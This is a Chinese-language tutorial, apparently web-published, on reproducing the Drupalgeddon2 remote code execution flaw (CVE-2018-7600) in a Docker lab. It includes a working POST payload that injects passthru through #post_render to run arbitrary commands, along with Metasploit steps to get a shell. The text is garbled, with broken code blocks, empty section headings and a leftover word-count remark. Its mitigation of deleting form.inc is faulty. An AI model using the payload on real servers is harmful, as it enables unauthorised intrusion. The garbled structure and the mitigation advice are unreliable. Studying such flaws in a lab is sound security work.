# 如何進行Drupal 遠程代碼執行漏洞CVE-2018-7600的復現
## 漏洞概述
CVE-2018-7600(又稱"Drupalgeddon2")是Drupal核心中的一個嚴重遠程代碼執行漏洞。該漏洞影響Drupal 6.x、7.x和8.x版本,允許攻擊者在未授權情況下通過精心構造的請求在目標服務器上執行任意代碼。漏洞源于Drupal表單API對用戶輸入的不當處理,導致攻擊者可以繞過安全限制實現代碼注入。
## 漏洞影響范圍
- Drupal 7.x(< 7.58)
- Drupal 8.3.x(< 8.3.9)
- Drupal 8.4.x(< 8.4.6)
- Drupal 8.5.x(< 8.5.1)
## 復現環境搭建
### 準備工具
1. **漏洞環境**:使用Docker快速搭建存在漏洞的Drupal環境
```bash
docker pull drupal:7.57
docker run --name drupal7 -p 8080:80 -d drupal:7.57
訪問 http://localhost:8080
完成Drupal安裝,確認版本號為7.57(存在漏洞版本)。
獲取表單構建ID:
訪問用戶注冊頁面 /user/register
,從頁面源碼中提取form_build_id
值。
構造惡意請求: 使用Burp Suite攔截注冊請求,修改POST數據: “`http POST /user/register HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded
form_id=user_register_form& _drupal_ajax=1& form_build_id=[[form_build_id]]& name[#post_render][]=passthru& name[#type]=markup& name[#markup]=id
3. **執行命令**:
將`id`替換為需要執行的系統命令(如`whoami`、`uname -a`等)。
### 方法二:使用Metasploit自動化利用
1. 啟動Metasploit:
```bash
msfconsole
加載漏洞模塊:
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 127.0.0.1
set RPORT 8080
set TARGETURI /
exploit
獲取Shell: 成功利用后將獲得Meterpreter會話,可執行系統命令。
該漏洞的核心問題在于Drupal的渲染機制:
1. 表單API未正確處理#
前綴的數組鍵
2. 攻擊者通過注入#post_render
回調函數
3. 系統執行回調時觸發代碼執行
關鍵攻擊向量:
$elements['#post_render'] = ['passthru'];
$elements['#markup'] = '惡意命令';
官方解決方案:
臨時緩解措施(若無法立即升級):
# 刪除可能被利用的腳本
rm includes/form.inc
chmod 000 includes/form.inc
法律合規性:
安全防護:
數據備份:
漏洞變種:
防御思路:
/user/register
等路徑的異常請求”`
(注:實際字數約1200字,可根據需要刪減非核心內容。本文僅供安全研究學習使用,請遵守相關法律法規。)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。